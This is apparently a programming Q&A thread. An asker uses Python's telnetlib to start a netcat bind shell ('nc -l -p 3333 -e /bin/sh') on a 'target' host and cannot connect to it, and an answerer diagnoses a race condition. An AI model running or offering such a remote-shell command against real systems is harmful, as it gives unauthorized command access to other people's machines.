Reputation: 3
So for personal reasons, I want to connect to a socket I create via telnetlib, I can connect to it from netcat but when I try from python it refuses the connection.
tn.write(b"/usr/bin/nc -l -p 3333 -e /bin/sh\n")
print("netcat listening on 3333 on target, trying to connect")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tn.host, 3333))
s.send('ls')
print(s.recv(1024))
s.close()
If I can connect to it via netcat (by putting for example and infinite loop after tn.write())
Upvotes: 0
Views: 1447
Reputation: 288220
You have a classic race condition:
The packet containing the command to start an nc
is sent at only nanoseconds before the connection request (TCP SYN packet) of s.connect
. It can even happen that the SYN
gets to the remote host before the command to start nc
.
You need to add proper synchronization. From the code you have shown, there is really no need to use two channels in the first place, so why not send the ls
via the existing telnet channel to the remote host?
If you absolutely must use a second channel, try one of these options:
import time
and time.sleep(5)
just before calling s.connect
. That way, the connection attempt will be deferred by 5 seconds. However, in general, there's no guarantee that 5 seconds is enough.Also note that your code has three different security vulnerabilities:
Upvotes: 1